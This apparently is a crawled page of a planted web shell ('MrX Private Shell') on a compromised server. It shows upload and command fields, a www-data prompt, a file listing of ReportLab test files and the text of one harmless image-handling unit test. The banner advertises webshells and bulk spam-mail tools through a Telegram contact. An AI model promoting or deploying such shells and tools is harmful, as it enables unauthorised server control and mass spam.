__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.85: ~ $
#! /usr/bin/python3
#Copyright ReportLab Europe Ltd. 2000-2017
#see license.txt for license details
__version__='3.3.0'
__doc__="""Tests to do with image handling.

Most of them make use of test\\pythonpowereed.gif."""
from reportlab.lib.testutils import setOutDir,makeSuiteForClasses, printLocation
setOutDir(__name__)
import os
import unittest
from hashlib import md5
from reportlab.lib.utils import ImageReader


"""To avoid depending on external stuff, I made a small 5x5 image and
attach its 'file contents' here in several formats.

The image looks like this, with K=black, R=red, G=green, B=blue, W=white.
    K R G B W
    K R G B W
    K R G B W
    K R G B W
    K R G B W
"""
sampleRAW = '\x00\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\xff\xff\xff\xff'
samplePNG = '\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x05\x00\x00\x00\x05\x08\x02\x00\x00\x00\x02\r\xb1\xb2\x00\x00\x00:IDATx\x9cb```\xf8\x0f\xc3\xff\xff\xff\x07\x00\x00\x00\xff\xffbb@\x05\x00\x00\x00\x00\xff\xffB\xe7\x03\x00\x00\x00\xff\xffB\xe7\x03\x00\x00\x00\xff\xffB\xe7\x03\x00\x00\x00\xff\xff\x03\x00\x9e\x01\x06\x03\x03\xc4A\xb4\x00\x00\x00\x00IEND\xaeB`\x82'

class ReaderTestCase(unittest.TestCase):
    "Simplest tests to import images, work under Jython or PIL"

    def test(self):
        from reportlab.lib.testutils import testsFolder
        from reportlab.lib.utils import rl_isfile
        imageFileName = os.path.join(testsFolder,'pythonpowered.gif')
        assert rl_isfile(imageFileName), "%s not found!" % imageFileName
        ir = ImageReader(imageFileName)
        assert ir.getSize() == (110,44)
        pixels = ir.getRGBData()
        assert md5(pixels).hexdigest() == '02e000bf3ffcefe9fc9660c95d7e27cf'

    def testUseA85(self):
        '''test for bitbucket PR #59 by Vytis Banaitis'''
        from reportlab import rl_config
        from reportlab.pdfgen.canvas import Canvas
        old = rl_config.useA85
        try:    
            for v in 1, 0:
                rl_config.useA85 = v
                c = Canvas('test_useA85%s.pdf' % v)
                c.drawImage('test-rgba.png', 0,0)
                c.showPage()
                c.save()
        finally:
            rl_config.useA85 = old

def makeSuite():
    return makeSuiteForClasses(ReaderTestCase)

#noruntests
if __name__ == "__main__":
    unittest.TextTestRunner().run(makeSuite())
    printLocation()

Filemanager

Name Type Size Permission Actions
barcode-out Folder 0755
charts-out Folder 0755
render-out Folder 0755
00readme.txt File 913 B 0644
__init__.py File 80 B 0644
_i_am_actually_a_gif.jpg File 1.05 KB 0644
_i_am_actually_a_jpeg.gif File 12.17 KB 0644
alpha_test.png File 3.72 KB 0644
encryption.gif File 2.91 KB 0644
gray-alpha.png File 1.86 KB 0644
pythonpowered-gs.gif File 1.85 KB 0644
pythonpowered.gif File 1.05 KB 0644
rltw-icon-tr.png File 6.35 KB 0644
runAll.py.gz File 2.04 KB 0644
solid_red_alpha.png File 2.35 KB 0644
tall_red.png File 172 B 0644
test-cross.tiff File 288 B 0644
test-indexed.png File 168 B 0644
test-rgba.png File 157 B 0644
test_charts_textlabels.py.gz File 2.15 KB 0644
test_crypto_algorithms.py.gz File 1.94 KB 0644
test_docs_build.py File 1.43 KB 0644
test_docstrings.py.gz File 2.04 KB 0644
test_extra.py File 2.99 KB 0644
test_geomutils.py File 956 B 0644
test_graphics_barcode.py.gz File 4.17 KB 0644
test_graphics_charts.py.gz File 8.22 KB 0644
test_graphics_images-cairo.gif File 32.01 KB 0644
test_graphics_images-cairo.png File 45.75 KB 0644
test_graphics_images-libart.gif File 15.17 KB 0644
test_graphics_images-libart.png File 20.85 KB 0644
test_graphics_images.gif File 32.01 KB 0644
test_graphics_images.png File 45.75 KB 0644
test_graphics_images.py.gz File 1.72 KB 0644
test_graphics_layout.py File 2.46 KB 0644
test_graphics_render.py.gz File 2.68 KB 0644
test_graphics_speed.py File 2.57 KB 0644
test_hello.py File 1.85 KB 0644
test_images.py File 2.55 KB 0644
test_invariant.py File 2.47 KB 0644
test_issues.py.gz File 1.49 KB 0644
test_lib_colors.py.gz File 2.26 KB 0644
test_lib_normaldate.py.gz File 1.52 KB 0644
test_lib_pdfencrypt.py.gz File 1.79 KB 0644
test_lib_rl_safe_eval.py.gz File 2.92 KB 0644
test_lib_sequencer.py File 3.66 KB 0644
test_lib_utils.py.gz File 3.43 KB 0644
test_lib_validators.py.gz File 1.4 KB 0644
test_multibyte_chs.py File 2.39 KB 0644
test_multibyte_cht.py.gz File 1.84 KB 0644
test_multibyte_jpn.py.gz File 6.19 KB 0644
test_multibyte_kor.py.gz File 2.27 KB 0644
test_paragraphs.py.gz File 6.28 KB 0644
test_pdfbase_encodings.py.gz File 3.34 KB 0644
test_pdfbase_fontembed.py File 3.78 KB 0644
test_pdfbase_pdfdoc.py File 2.65 KB 0644
test_pdfbase_pdfform.py.gz File 2.22 KB 0644
test_pdfbase_pdfmetrics.py.gz File 1.6 KB 0644
test_pdfbase_pdfutils.py File 1.57 KB 0644
test_pdfbase_postscript.py File 3.11 KB 0644
test_pdfbase_ttfonts.py.gz File 9.57 KB 0644
test_pdfgen_callback.py File 991 B 0644
test_pdfgen_general.py.gz File 12.59 KB 0644
test_pdfgen_links.py.gz File 1.9 KB 0644
test_pdfgen_overprint.py File 3.06 KB 0644
test_pdfgen_pagemodes.py File 1.81 KB 0644
test_platypus_accum.py File 3.09 KB 0644
test_platypus_breaking.py.gz File 6.5 KB 0644
test_platypus_cjk_wrap.py.gz File 2.04 KB 0644
test_platypus_general.py.gz File 9.34 KB 0644
test_platypus_images.py File 4 KB 0644
test_platypus_indents.py.gz File 2.06 KB 0644
test_platypus_index.py.gz File 2.05 KB 0644
test_platypus_leftright.py.gz File 1.79 KB 0644
test_platypus_lists.py.gz File 2.95 KB 0644
test_platypus_paragraphs.py.gz File 20.24 KB 0644
test_platypus_paraparser.py.gz File 1.26 KB 0644
test_platypus_pleaseturnover.py.gz File 3.15 KB 0644
test_platypus_preformatted.py.gz File 2.71 KB 0644
test_platypus_programming.py.gz File 1.96 KB 0644
test_platypus_tables.py.gz File 10.17 KB 0644
test_platypus_toc.py.gz File 3.99 KB 0644
test_platypus_wrapping.py File 3.68 KB 0644
test_platypus_xref.py.gz File 1.96 KB 0644
test_pyfiles.py.gz File 1.67 KB 0644
test_renderPS.py.gz File 1.78 KB 0644
test_renderSVG.py.gz File 2.07 KB 0644
test_rl_accel.py.gz File 2.82 KB 0644
test_source_chars.py File 3.34 KB 0644
test_table_inrowsplit.py.gz File 3.48 KB 0644
test_table_layout.py.gz File 7.77 KB 0644
test_tools_pythonpoint.py File 1.21 KB 0644
test_utils.py File 1.32 KB 0644
test_widgetbase_tpc.py.gz File 1.34 KB 0644
test_widgets_grids.py.gz File 1.37 KB 0644
unimportable.py File 166 B 0644
Filemanager